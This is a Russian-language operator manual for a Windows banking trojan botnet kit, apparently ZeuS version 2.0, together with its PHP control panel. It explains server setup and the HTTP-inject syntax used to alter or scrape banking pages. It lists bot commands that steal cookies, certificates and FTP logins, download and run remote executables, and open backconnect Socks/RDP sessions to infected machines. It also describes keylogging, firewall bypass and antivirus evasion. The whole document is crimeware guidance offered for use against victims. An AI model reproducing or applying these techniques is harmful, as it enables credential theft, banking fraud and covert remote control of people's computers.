# Руководство пользователя

- Описание
  - Бот
  - Панель управления
- Файл конфигурации
  - HTTP-инжекты/HTTP-грабберы
- Панель управления
  - Настройка сервера
  - Установка
  - Обновление
  - Файл /system/fsarc.php
  - Команды, используемые в скриптах
- Работа с Backсonnect-сервером
- F.A.Q.
- История версий

## Описание: Бот

- Язык и IDE программирования:

  Visual C++ (текущая версия 9.0). Не используются дополнительные библиотеки (crtl, mfc, и т.д.).

- Поддерживаемые ОС:

  XP/Vista/Seven, а также 2003/2003R2/2008/2008R2. В том числе работа под Windows x64, но только для 32-x битных процессов. Также сохраняется полноценная работа бота при активных сессиях "Terminal Servers".

- Принцип действия:

  Бот основан на перехвате WinAPI, методом сплайсинга в ring3(пользовательский режим), путем запуска копии своего кода в каждом процессе пользователя (без использования DLL).

- Процесс установки:

  В данный момент, в первую очередь бот ориентирован на работу под Vista/Seven, с включенным UAC, и без использования локальных сплойтов. Поэтому бот рассчитан на работу с минимальными привилегиями пользователя (включая пользователя "Гость"), с связи с этим бот всегда работает в пределах сессий одного пользователя (из-под которого производилась установка бота.). Бот может быть установлен для каждого пользователя в ОС, при этом боты не будут знать о существовании друг друга. При запуске бота из под пользователя "LocalSystem" произойдет попытка заражение всех пользователей в системе.

  При установке, бот создает свою копию в домашней директории пользователя, эта копия является привязанной к текущему пользователю и ОС, и не может быть запущена в другом пользователе, или тем более ОС. Оригинальная же копия бота (используемая для установки), будет автоматически удалена, в независимости от успеха установки.

- Сессия с сервером (панелью управления):

  Сессия с сервером осуществляется через различные процессы из внутреннего "белого списка", что позволяет обойти большинство фаерволов. Во время сессии бот может получить конфигурацию, отправить накопившиеся отчеты, сообщить о своем состоянии серверу, и получить команды для исполнения на компьютере. Сессия происходит через HTTP-протокол, все данные отсылаемые ботом и получаемые от сервера шифруются уникальным ключом для каждого ботнета.

- Защита:

  1. Уникальные имена всех объектов (файлов, мютексов, ключей реестра) создаваемых ботом для каждого пользователя и ботнета.
  2. Установленный бот не может быть запущен с иной ОС или пользователя. Уничтожается код, служащий для установки бота.
  3. В данный момент не производиться скрытие файлов бота через WinAPI, т.к. антивирусные инструменты очень легко находят такие файла, и позволяют точно определить местоположение бота.
  4. Автообновление бота, не требующие перезагрузки.
  5. Контроль цельности файлов бота.

- Функции серверной части бота:

  1. Сервер Socks 4/4a/5 с поддержкой UDP и IPv6.
  2. Бэкконект для любого сервиса (RDP, Socks, FTP, и т.д.) на зараженной машине. Т.е. возможно получить доступ к компьютеру, который находится за NAT, или, например, к которому запрещены подключения фаерволом. Для работы этой функции используется дополнительное приложение, запускаемое на любом Windows-сервере в интернете, который имеет выделенный IP.
  3. Получение скриншота рабочего стола в реальном времени.

- Перехват HTTP/HTTPS-запросов библиотек wininet.dll (Internet Explorer, Maxton, и т.д.), nspr4.dll (Mozilla Firefox):

  1. Модификация содержимого загружаемых страниц (HTTP-инжект).
  2. Прозрачный редирект страниц (HTTP-фейк).
  3. Получение из содержимого страницы нужных частей данных (например баланса банковского аккаунта).
  4. Временная блокировка HTTP-инжектов и HTTP-фейков.
  5. Временная блокировка доступа к определнным URL.
  6. Блокировка логирования запросов для определённых URL.
  7. Принудительное логирование всех GET запросов для определенных URL.
  8. Создание снимка экрана вокруг курсора мыши во время клика ее кнопок.
  9. Получение сессионных кукисов и блокировка доступа пользователя к определенным URL.

- Получение важных данных из программ пользователя:

  1. Логинов из FTP-клиентов: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP.
  2. "Кукисов" Adobe (Macromedia) Flash Player.
  3. "Кукисов" wininet.dll, Mozilla Firefox.
  4. Импорт сертификатов из хранилища сертификатов Windows. И слежение за их дальнейшим добавлением.
  5. Слежение за нажатием клавиш клавиатуры.

- Сниффер трафика для протокола TCP в Windows Socket.

  1. Перехват FTP-логинов на любом порту.
  2. Перехват POP3-логинов на любом порту.

- Прочее:

  1. Исполнение скриптов (команд), созданных в панели управления.
  2. Разделение ботнета на сабботнеты (по имени).

## Описание: Панель управления

- Язык программирования:

  PHP, с использованием расширений mbstring, mysql.

- Отображаемая статистика:

  1. Количество зараженных компьютеров.
  2. Текущее количество ботов в онлайне.
  3. Количество новых ботов.
  4. Суточная активность ботов.
  5. Статистика по странам.
  6. Статистика по ОС.

- Работа со списком ботов:

  1. Фильтрация списка по странам, ботнетам, IP-адресам, NAT-статусу, и т.д.
  2. Отображение скриншотов рабочего стола в реальном времени (только для ботов вне NAT).
  3. Массовая проверка состояния Socks-серверов.
  4. Вывод полной информации о ботах. Из наиболее важных сюда входят:
     - Версия Windows, язык пользователя и часовая зона.
     - Страна и IP-адреса компьютера (не относящиеся к локальным).
     - Скорость подключения к Интернету (измеряется путем вычисления времени загрузки предопределенного HTTP-ресурса).
     - Время первой и последней связи с сервером.
     - Время в онлайне.
  5. Возможность установки комментария для каждого бота.

- Скрипты (команды):

  Вы можете управляет ботами путем составления для них скриптов. В настоящее время синтаксис, и возможности скриптов очень примитивны.

- Работа с отчетами (логами) и файлами ботов:

  Файлы (например скриншоты, кукисы Flash Player) полученные от ботов всегда пишутся в файлы на сервере, Вы получаете возможности искать файлы с фильтром: по имени ботов, ботнету, содержимому и имени файла.

  Отчеты могут писаться как в файлы (%botnet%/%bot_id%/reports.txt), так и в базу данных. В первом случаи поиск по отчетам осуществляется точно также, как и по файлам. Во втором же случаи, Вы получаете возможность более гибкой фильтрации, и просмотра отчетов из Панели управления.

- Получение уведомлений в IM (Jabber):

  Вы можете получать уведомления из Панели управления в Jabber-аккаунт.

  В данный момент существует возможность получения уведомлений о заходе пользователя на определенные HTTP/HTTPS-ресурсы. Например, это используется для перехвата сессии пользователя в онлайн-банке.

- Прочее:

  1. Создание пользователей Панели управления с определенными правами доступа.
  2. Вывод информации о ПО сервера.
  3. Автоматическое восстановление поврежденных таблиц MyISAM.

## Файл конфигурации: HTTP-инжекты/HTTP-грабберы.

Для удобства написания, HTTP-инжекты/HTTP-грабберы записываются в отдельный файл, указанный в файле конфигурации как "DynamicConfig.file_webinjects". Естественно, после создания конченого файла конфигурации, ни какие дополнительные файлы не генерируются.

Файл представляет из себя список URL'ов, для которых можно указать неограниченное количество либо вносимых в них изменений, либо получаемых из них данных. Текущий URL указывается следующей строкой:

set_url [url] [options] [postdata_blacklist] [postdata_whitelist] [url_block] [matched_context]

Параметры:

url | URL, на котором должен запускаться HTTP-инжект/HTTP-граббер. Допускается использование масок (символы * и #).
options | Определяет основные правила и условия для запсука, состоит из комбинации следующих символов:

- P - запускать при POST-запросе.
- G - запускать при GET-запросе.
- L - если этот сивол указан, то запуск происходит как HTTP-граббера, если не указан, то как HTTP-инжекта.
- D - блокирует запуск более одного раза в 24 часа. Этот символ требует обязательного наличия параметра url_block.
- F - дополняет символ "L", позволяет записывать результат не в виде обычного отчета, а в виде отдельного файла "grabbed\%host%_%year%_%month%_%day%.txt".
- H - дополняет символ "L", сохраняет содержимое без вырезания HTML-тегов. В обычном же режиме, все HTML-теги удаляются, а некоторые преобразуются в символ "новая строка" или "пробел".
- I - сравнивать параметр url без учета регистра (только для англ. алфавита).
- C - сравнивать конекст без учета регистра (только для англ. алфавита).

postdata_blacklist | Полное (от начала до конца) содержимое POST-данных, при котором не должен происходить запуск. Допускается использование масок (символы * и ?).Параметр является необязательным.
postdata_whitelist | Полное (от начала до конца) содержимое POST-данных, при котором должен происходить запуск. Допускается использование масок (символы * и ?).Параметр является необязательным.
url_block | При отсутствии символа "D" в параметре options: Если запуск должен происходить только один раз, то здесь следует указать URL, в случаи обращения к которому, дальнеший запуск будет заблокирован. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Если после блокировки, понадобится повторный запуск, то блокировку можно снять через команду "bot_httpinject_enable" с параметром, например, равному параметру url. При наличии символа "D" в параметре options:

Необходимо указать URL, при обращении к которому, запуск будет заблокирован на 24-е часа. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Эту блокировку нельзя снять через через команду "bot_httpinject_enable".

Параметр является необязательным при отсутствии символа "D" в параметре options.
matched_context | Подсодержимое (подстрока) содеримого URL, при котором должен происходить запуск. Допускается использование масок (символы * и ?).Параметр является необязательным.

Со следующей строки начинается список изменений вносимых, в содержимое URL, а при наличии символа "L" в параметре options - список данных, получаемых из содержимое URL. Это список длится до тех пор, пока не достигнут конец файла, или не задан новый URL.

Единица списка состоит из трех элементов в произвольном порядке:

data_before | При отсутвие символа "L" в параметре options: Подсодержиоме в соедржимом URL, после окончания которого нужно внести новые данные. При наличии символа "L" в параметре options: Подсодержиоме в соедржимом URL, после окончания которого нужно начать получить данные для отчета. Допускается использование масок (символы * и ?).
data_after | При отсутвие символа "L" в параметре options: Подсодержиоме в соедржимом URL, передкоторым нужно закончить новые данные. При наличии символа "L" в параметре options: Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета. Допускается использование масок (символы * и ?).
data_inject | При отсутвие символа "L" в параметре options: Новые данные, который будут внесены между данными найденысмм по data_before и data_after. При наличии символа "L" в параметре options: Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета.

Примеры:

user_homepage_set http://www.google.com/ | Принудительная установка домашней страницы "http://www.google.com/".
user_homepage_set | Принудительная установка домашней страницы будет отключена.

ЛИМИТЫ ЛОГИКА ПРИ НЕЗАПОЛЕННЫХ before или after

## Панель управления: Настройка сервера

Сервер является центральной точкой управления ботнетом, он занимается сборкой отчетов ботов, и отдачей команд ботам. Крайне не рекомендуется использовать "Виртуальный Хостинг" или "VDS", т.к. при увеличение ботнета, нагрузка на сервер будет увеличиваться, и такой вид хостинга довольно быстро исчерпает свои ресурсы. Вам нужен "Выделенный сервер" (Дедик), рекомендуемая минимальная конфигурация:

- 2Гб ОЗУ.
- 2x процессор частотой 2Ггц.
- Отдельный винчестер для базы данных.

Для работы бота необходим HTTP-сервер с подключенным PHP + Zend Optimizer, и MySQL-сервер.
ВНИМАНИЕ: Для Windows-серверов очень важно изменить (создать) следующее значение реестра: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\MaxUserPort=dword:65534 (десятичное).

- HTTP-сервер:

  В качестве HTTP-сервера рекомендуется использовать: для nix-систем - Apache от версии 2.2, для Windows-серверов - IIS от версии 6.0. Рекомендуется держать HTTP-сервер на 80 или 443 портах (это положительно влияет на отстук бота, поскольку провайдеры/прокси могут блокировать доступ на иные, нестандартные порты).

  Загрузить Apache: http://apache.org/dyn/closer.cgi.
  Сайт IIS: http://www.iis.net/.

- Интерпретатор PHP:

  Последняя версия панели управления разрабатывалась на PHP 5.2.6. Поэтому крайне рекомендуется использовать версию, не ниже этой версии.

  Важно произвести следующие настройки в php.ini:

  - safe_mode = Off
  - magic_quotes_gpc = Off
  - magic_quotes_runtime = Off
  - memory_limit = 256M ;Или выше.
  - post_max_size = 100M ;Или выше.

  а также рекомендуется изменить следующие настройки:

  - display_errors = Off

  Также понадобиться подключить Zend Optimizer (ускорение работы скриптов, и запуск защищенных скриптов). Рекомендуется версия от 3.3.

  Не рекомендуется подключать PHP к HTTP-серверу через CGI.

  Загрузить PHP: http://www.php.net/downloads.php.
  Загрузить Zend Optimizer: http://www.zend.com/en/products/guard/downloads.

- MySQL-сервер:

  MySQL требуется для хранения всех данных об ботнете. Рекомендуемая версия не ниже 5.1.30, так же стоит учесть, что при работе панели управления в более старых версиях были обнаружены некоторые проблемы. Все таблицы панели управления идут в формате MyISAM, важно правильно оптимизировать быстродействие работы с этим форматом, исходя из доступных ресурсов сервера.

  Рекомендуется внести следующие изменения в настройки MySQL-сервера (my или my.ini):

  - max_connections=2000 #Или выше

  Загрузить MySQL: http://dev.mysql.com/downloads/.

## Панель управления: Установка

Назначение файлов и папок:

/install | инсталлятор
/system | системные файлы
/system/fsarc.php | скрипт для вызова внешнего архиватора
/system/config.php | файл конфигурации
/theme | файлы темы (дизайн), без зенда, могут свободно изменяться
cp.php | вход в панель управления
gate.php | гэйт для ботов
index.php | пустой файл для предотвращения листинга файлов

Панель управления обычно расположена в вашем дистрибутиве в папке server[php]. Все содержимое этой папки необходимо загрузить на сервер в любую папку доступную по HTTP. Если Вы загружаете ее через FTP, то все файлы нужно загрузить в БИНАРНОМ режиме.

Для nix-систем выставите права:

/. | 777
/system | 777
/tmp | 777

Для Windows-систем выставите права:

\system | права на полные права на запись, чтение для пользователя из под которого происходит доступ через HTTP. Для IIS это обычно IUSR_*
\tmp | также как и для \system

После того как все файлы загружены и для них выставлены права, необходимо через браузер запустить инсталлятор по URL http://сервер/папка/install/index.php. Следуйте появившимся инструкциям, в случаи возникновения ошибок (Вы будете подробно уведомлены) в процесс установки, проверти правильность введенных данных, и правильность установки прав на папки.

После установки, рекомендуется удалить директорию install, и переименовать файлы cp.php (вход в панель управления) и gate.php (гэйт для ботов) в любые файлы по вашему желанию (расширение менять нельзя).

Теперь Вы можете благополучно входить в панель управления, введя в браузере URL переименованного файла cp.php.

## Панель управления: Обновление

Если Вы обладаете более новой копией панели управления, и желаете обновить старую версию, то необходимо сделать следующие:

1. Скопировать файлы новой панели управления на место старых.
2. Переименовать файлы cp.php и gate.php согласно их реальным именам выбранным вами при установке старой панели управления.
3. На всякой случай, повторно выставить права на директории согласно этому разделу.
4. Через браузер запустить инсталлятор по URL http://сервер/директория/install/index.php, и следовать появившимся инструкциям. Процесс работы инсталлятора может занять достаточно большой промежуток времени, это связано с тем, что некоторые таблицы с отчетами могут пересоздаваться.
5. Можно пользоваться новой панелью управления.

## Панель управления: Файл /system/fsarc.php.

Данный файл содержит в себе функцию для вызова внешнего архиватора. В данный момент архиватор используется только в модуле "Отчеты::Поиск в файлах" (reports_files), и вызывается для загрузки файлов и папок в виде одного архива. По умолчанию функция настроена на архиватор Zip, и является универсальной для Windows и nix, поэтому все что вам нужно сделать, это установить в систему этот архиватор, и дать права на его исполнение. Вы также можете отредактировать этот файл для работы с любым архиватором.

Загрузить Zip: http://www.info-zip.org/Zip.html.

## Панель управления: Команды, используемые в скриптах

- os_shutdown

  Выключение компьютера. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.

- os_reboot

  Перезагрузка компьютера. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.

- bot_uninstall

  Полное удаление бота из текщего пользователя. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.

- bot_update [url]

  Обновления файла конфигурации бота.

  Параметры:

  url | URL, с которого необходимо загрузить файл конфигурации. В случаи успешной загрузки конфигурации, из нее будет принудительно загружен и запущен файл (с параметром "-f"), указный в "DynamicConfig.url_loader". Если же, это параметр не указан или является пустым, то произойдет загрузка файла конфигурации в обычном режиме (т.е. как будь-то пришло время по "StaticConfig.timer_config"), со всеми вытекающими последствиями.

  Примеры:

  bot_update http://domain/update.bin | Загрузка файла конфигурации "http://domain/update.bin".

- bot_bc_add [service] [backconnect_server] [backconnect_server_port]

  Добавление постоянной (сессия будет восстановлена даже после перезагрузки компьютера) бэкконект-сессии. Данная команда доступна не во всех сборках ПО.

  Параметры:

  service | Номер порта или текстовое имя сервиса, для которого создается сессия.
  backconnect_server | Хост, на котором запущен бэкконект-сервер.
  backconnect_server_port | Номер порта на хосте [backconnect_server].

  Примеры:

  bot_bc_add socks 192.168.100.1 4500 | Вы получаете доступ к Socks-серверу.
  bot_bc_add 3389 192.168.100.1 4500 | Вы получаете доступ к RDP.

- bot_bc_remove [service] [backconnect_server] [backconnect_server_port]

  Завершение постоянных бэкконект-сессий. Данная команда доступна не во всех сборках ПО.

  Параметры:

  service | Номер порта или текстовое имя сервиса, для которого удаляется сессия. Допускается использование масок (символы * и ?), для удаления группы сессий.
  backconnect_server | Хост, на котором запущен бэкконект-сервер. Допускается использование масок (символы * и ?), для удаления группы сессий.
  backconnect_server_port | Номер порта на хосте [backconnect_server]. Допускается использование масок (символы * и ?), для удаления группы сессий.

  Примеры:

  bot_bc_remove socks * * | Удаляются все сессий связанные с сервисом socks.
  bot_bc_remove * * * | Удаляются все существующие сессий.

- bot_httpinject_disable [url_1] [url_2] ... [url_X]

  Блокировка исполнения HTTP-инжектов на определенных URL для текущего пользователя. Вызов этой команды не обнуляет существующий список блокировки, а дополняет его.

  Параметры:

  url_1, ulr_2, ... | URL'ы, на которых необходимо заблокировать исполнение HTTP-инжектов. Допускается использование масок (символы * и #).

  Примеры:

  bot_httpinject_disable http://www.google.com/* | Блокировка исполнения HTTP-инжектов для http://www.google.com/.
  bot_httpinject_disable * | Блокировка исполнения HTTP-инжектов для любого URL.
  bot_httpinject_disable *.html *.gif | Блокировка исполнения HTTP-инжектов для файлов с расширением html и gif.

- bot_httpinject_enable [url_1] [url_2] ... [url_X]

  Снятие блокировки исполнения HTTP-инжектов на определенных URL для текущего пользователя.

  Параметры:

  url_1, ulr_2, ... | Маски (символы * и #), по которым из списка заблокированных URL необходимо удалить URL.

  Примеры:

  bot_httpinject_enable *.google.* | Удалить блокировку исполнения HTTP-инжектов по любому URL из списка заблокированных, которые содержат в себе ".google.".
  bot_httpinject_enable * | Полностью очистит список блокировок исполнения HTTP-инжектов.
  bot_httpinject_enable *.html https://* | Удалить блокировку исполнения HTTP-инжектов со всех html-файлов, и на все HTTPS-ресурсы.

- user_logoff

  Завершение сеанса (logoff) текущего пользователя. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.

- user_execute [path] [parameters]

  Запуск процесса от имени текущего пользователя. Запуск процесса происходит через ShellExecuteW(,NULL,,,,), если запуск не удался, то процесс создается через CreateProcessW.

  Параметры:

  path | Локальный путь или URL. Может быть указан как исполняемый файл (exe), так и любой другой (doc, txt, bmp, и т.д.). Для успешного запуска не исполняемого файла (не exe), с ним должна быть ассоциирована какая-либо программа. Если параметр является локальным путем, то происходит обычное создание процесса. Разрешается использовать "переменные окружения".
  Если параметр является URL, то происходит загрузка этого URL в файл "%TEMP%\random_name\file_name", где random_name - произвольное имя папки, а file_name - имя ресурса из последней части URL-пути(если URL-путь кончается на слэш, то произодйет ошибка). В настоящее время разрешается использовать только HTTP и HTTPS протоколы, также рекомендуется указывать URL-путь в URL-кодировке (актуально для не английских символов, подробности в RFC 1630 и 1738).
  parameters | Произвольные параметры передаваемые процессу (не обрабатываются ботом). Являются не обязательными.

  Примеры:

  user_execute http://www.google.com/dave/superdocumet.doc | Загрузка файла в "%TEMP%\random_name\superdocumet.doc", и его запуск, например через MS Word.
  user_execute http://www.google.com/dave/killer.exe /KILLALL /RESTART | Загрузка файла в "%TEMP%\random_name\killer.exe", и его запуск с параметрами "/KILALL /RESTART".
  user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe" | Запуск медиа-плеера.
  user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe" "analporno.wmv" | Запуск медиа-плеера с параметром "analporno.wmv".

- user_cookies_get

  Получение кукисов всех известных браузеров.

- user_cookies_remove

  Удаление всех кукисов из всех известных браузеров.

- user_certs_get

  Получение всех экспортируемых сертификатов из хранилища сертификатов "MY" текущего пользователя. Сертификаты будут загружены на сервер в виде pfx-файла с паролем "pass".

- user_certs_remove

  Очистка хранилища сертификатов "MY" текущего пользователя.

- user_url_block [url_1] [url_2] ... [url_X]

  Блокировка доступа к URL в известных библиотеках (браузеров) для текущего пользователя. Вызов этой команды не обнуляет существующий список блокировки, а дополняет его.
  При попытке доступа к заблокированным URL, бот устанавливает следующие коды ошибок:

  - wininet.dll - ERROR_HTTP_INVALID_SERVER_RESPONSE
  - nspr4.dll - PR_CONNECT_REFUSED_ERROR

  Параметры:

  url_1, ulr_2, ... | URL'ы, к котором необходимо заблокировать доступ. Допускается использование масок (символы * и #).

  Примеры:

  user_url_block http://www.google.com/* | Блокировка доступа к любому URL на http://www.google.com/.
  user_url_block * | Полная блокировка доступа к любому ресурсу.
  user_url_block http://*.ru/*.html https://*.ru/* | Блокировка доступа к любому html-файлу в зоне ru, и блокировка доступа к HTTPS-ресурсам в зоне ru.

- user_url_unblock [url_1] [url_2] ... [url_X]

  Снятие блокировки доступа к URL в известных библиотеках (браузеров) для текущего пользователя.

  Параметры:

  url_1, ulr_2, ... | Маски (символы * и #), по которым из списка заблокированных URL необходимо удалить URL.

  Примеры:

  user_url_unblock *.google.* | Удалить блокировку по любому URL из списка заблокированных, которые содержат в себе ".google.".
  user_url_unblock * | Полностью очистит список блокировок URL.
  user_url_unblock *.html https://* | Удалить блокировку со всех html-файлов, и блокировку на все HTTPS-ресурсы.

- user_homepage_set [url]

  Принудительное изменение домашней страницы для всех известных браузеров текущего пользователя. Даже если пользователь попытается изменить страницу, она будет автоматически восстановлена на страницу, указанную этой командой.

  Параметры:

  url | URL, которая будет установлена в качестве домашней страницы. Если же, это параметр не указан или является пустым, то произойдет отключение принудительной установки домашней страницы, но при этом, не произойдет восстановление оригинальной страницы, указанной пользователем. Т.е. бот более не будет препятствовать изменению домашней страницы.

  Примеры:

  user_homepage_set http://www.google.com/ | Принудительная установка домашней страницы "http://www.google.com/".
  user_homepage_set | Принудительная установка домашней страницы будет отключена.

- user_ftpclients_get

  Получение списка всех FTP-логинов из всех известных FTP-клиентов. Данная команда доступна не во всех сборках ПО.

- user_flashplayer_get

  Создание архива "flashplayer.cab" из кукисов (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) текущего пользователя, и его отправка на сервер.

- user_flashplayer_remove

  Удаление всех кукисов (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) текущего пользователя.

## Работа с Backсonnect-сервером

Работа с BackConnect рассматривается в виде примера.

- IP-адрес Backconnect-сервера: 192.168.100.1.
- Порт для бота: 4500.
- Порт для клиентского приложения: 1080.
- Сервис бота: socks.

1. Запускается серверное приложение(zsbcs.exe или zsbcs64.exe) на сервере имеющем свой IP-адрес в интернете, для приложения указывается порт, на котором ожидается подключение от бота, и порт к которому будет подключаться клиентское приложение. Например zsbcs.exe listen -cp:1080 -bp:4500, где 1080 - клиентский порт, 4500 - порт для бота.

2. Необходимому боту отправляется команда "bot_bc_add socks 192.168.100.1 4500".

3. Теперь необходимо ждать подключение бота к серверу, в этот период любая попытка клиентского приложения подключится будет игнорироваться (будет происходить отключение клиента). Знаком подключения бота, будет вывод в консоль сервера строки "Accepted new conection from bot...".

4. После подключения бота, Вы можете работать со своим клиентским приложением. Т.е. Вы просто подключаетесь к серверу на клиентский порт (в данном случаи 1080). Например, если Вы отдали команду socks, то на клиентском порту вас будет ожидать Socks-сервер.

5. После того, когда вам не нужен Backconnect от бота для определенного сервиса, необходимо отдать команду "bot_bc_remove socks 192.168.100.1 4500".

ПРИМЕЧАНИЯ:

1. Вы можете указывать сколько угодно Backconnect'ов (т.е. bot_bc_add), но у них не должна быть общая комбинация IP + Port. Но в случаи наличия такой комбинации, будет запускаться первая добавленная.
2. Для каждого Backconnect'а, Вы должны запускать отдельное серверное приложение.
3. В случаи разрыва соединения (падения сервера, падение бота и т.д.), бот будет повторят подключение к серверу бесконечно (даже после перезагрузки PC), до тех пор пока Backconnect не будет удален (т.е. bot_bc_remove).
4. В качестве service для bot_bc_add, может быть использован любой порт открытый по адресу 127.0.0.1.
5. Серверное приложение поддерживает IPv6, но в настоящее время эта поддержка не особо актуальна.
6. Возможен запуск серверного приложения под wine. Написание же elf приложения в настоящее время не планируется.
7. Крайне рекомендуется использовать в опции bp серверного приложения популярные порты (80, 8080, 443 и т.д.), т.к. иные порты могут быть заблокированы провайдером которому принадлежит бот.
8. Нельзя позволят подключатся разным ботам на один и тот же серверный порт одновременно.
9. Метод такого подключения может пригодиться и для ботов, которые находятся вне NAT, т.к. иногда фаерволами Windows или провайдерами, могут быть заблокированы подключения из интернета.

## F.A.Q.

- Что значат цифры в версии?

  Формат версии a.b.c.d, где:

  - a - полное изменение в устройстве бота.
  - b - крупные изменения, которые вызывают полную или частичную несовместимость с предыдущими версиями.
  - c - исправления ошибок, доработки, добавление возможностей.
  - d - номер чистки от антивирусов для текущей версии a.b.c.

- Каким образом генерируется Bot ID?

  Bot ID состоит из двух частей: %name%_%number%, где name - имя компьютера (результат от GetComputerNameW), а number - некое число, генерируемое на основе некоторых уникальных данных ОС.

- Почему трафик шифруется симметричным методом шифрования (RC4), а не асимметричным (RSA)?

  Потому что, в использовании сложных алгоритмов нет смысла, шифрование нужно только для скрытия трафика. Плюс в RSA только в том, что не зная ключа находящегося в Панели управления, не будет возможности эмулировать ее ответы. А какой смысл защищаться от этого?

## История версий

- Версия 2.0.0.0, 01.04.2010

  1. Полная несовместимость с предыдущими версиями.
  2. Поскольку ядро бота нацелено на Windows Vista+, и в боте не когда не будут использоваться сплойты повышения привилегий и т.д., бот работает в пределах одного пользователя. Но элементарные попытки заразить прочих пользователей Windows совершаются (обычно эффективно в случаях отключения UAC, или запуска из-под LocalSystem).
  3. Произвольные имена файлов, мютексов и т.д.
  4. Полностью переписано ядро бота, от процесса установки в систему до отправки отчетов в панель управления.
  5. При инсталляции, бот перекриптовывает свое тело, таким образом сохраняется уникальная копия exe-файла на каждом компьютере.
  6. Привязка бота к компьютеру, путем модификации/удаления некоторых данные в exe-файле.
  7. Полноценная работа с x32 приложениями в Windows x64.
  8. Удаление исходного файла бота, после исполнения вне зависимости от результата исполнения.
  9. Полноценная работа в параллельных сессиях "Terminal Services".
  10. При запуске из под пользователя LocalSystem, происходит попытка заражения все пользователей системы.
  11. Убрана опция "StaticConfig.blacklist_languages".
  12. Имя ботнета ограничено 20 символами, и может содержать любые интернациональные символы.
  13. Файл конфигурации читается в UTF-8-кодировке.
  14. Убрана опция "StaticConfig.url_compip".
  15. Новый способ определения NAT.
  16. Нельзя обновить новую версию бота на старую.
  17. При обновлении бота, происходит полное обновление немедленно, не дожидаясь перезагрузки.
  18. В данный момент, из-за некоторых соображений, скрытие файлов бота не будет производиться вообще.
  19. Убран граббер "Protected Storage", поскольку начиная с IE7, он более не используется.
  20. С связи с ненадежностью старой системы подсчета "Инсталлов", бот имеет автоматически имеет "Инсталл" при добавлении в базу.
  21. Новый способ получение кукисов IE.
  22. Улучшен протокол бэк-коннекта.
  23. Поскольку "лайт-режим" билдера создан для тестирования и отладки HTTP-инжектов и HTTP-фейков, он имеет ряд ограничений по сборке файла конфигурации.
  24. Усложнена обнаружение трафика бота.
  25. Полноценная (как с wininet.dll) работа с nspr4.dll, но пока без HTTP-фейков.

- Версия 2.0.1.0, 28.04.2010

  Теперь используется сторонний криптор, с связи с этим отменены некоторые особенности предыдущей версии:
  1. Изменен способ привязки к пользователю/ОС.
  2. Бот более не способен перекриптовывать себя при установке.
  3. Мелкие доработки для HTTP-инжектов.

- Версия 2.0.2.0, 10.05.2010

  1. Принудительное изменение настроек безопасности Mozilla Firefox для нормальной работы HTTP-инжектов.
  2. Команда "user_homepage_set" применяет домашнею страницу принудительно для IE и Firefox (т.е страница будет восстановлена даже, если пользователь внесет изменения) до тех пор, пока не произойдет отмена команды.

- Версия 2.0.3.0, 19.05.2010

  1. С связи с тем, что HTTP-инжекты в основном пишут люди мало понимающие в HTTP, HTML и т.д., убрано предупреждение "*NO MATCHES FOUND FOR CURRENT MASK*". Т.к. из-за злоупотребления знака "*" в масках URL, данное предупреждение появляется очень часто.

- Версия 2.0.4.0, 31.05.2010

  1. В панели управления исправлена ошибка в модуле "Botnet->Bots", не позволяющая производить поиск по IP.
  2. В файл конфигурации добавлена опция "StaticConfig.remove_certs", для отключения автоматического удаления сертификатов из хранилища пользователя при установке бота.
  3. В файл конфигурации добавлена опция "StaticConfig.disable_tcpserver", которая позволяет отключить TCP-сервер (ОТКЛЮЧЕНИЕ: сокс-сервер, скриншоты в реальном времени). Данная опция введена для предотвращения появления предупреждений от "Window Firewall".
  4. Сграбленные сертификаты сохраняются на сервере с указанием пользователя, из которого они получены.

- Версия 2.0.5.0, 08.06.2010

  1. Для скриптов подключены команды "bot_httpinject_enable" и "bot_httpinject_disable".
  2. Исправлены мелкие ошибки в HTTP-граббере.

- Версия 2.0.6.0, 22.06.2010

  1. В nspr4.dll, при специфическом форматировании HTTP-ответа от сервера, этот ответ не анализировался верно (что приводило, например, к отключению HTTP-инжектов).

- Версия 2.0.7.0, 15.07.2010

  1. Отключено встроенное криптование бота.

- Версия 2.0.8.0, 17.08.2010

  1. К параметрам HTTP-инжекта добавлены новые опции "I" (сравнение URL без учета регистра) и "C" (сравнение контекста без учета регистра).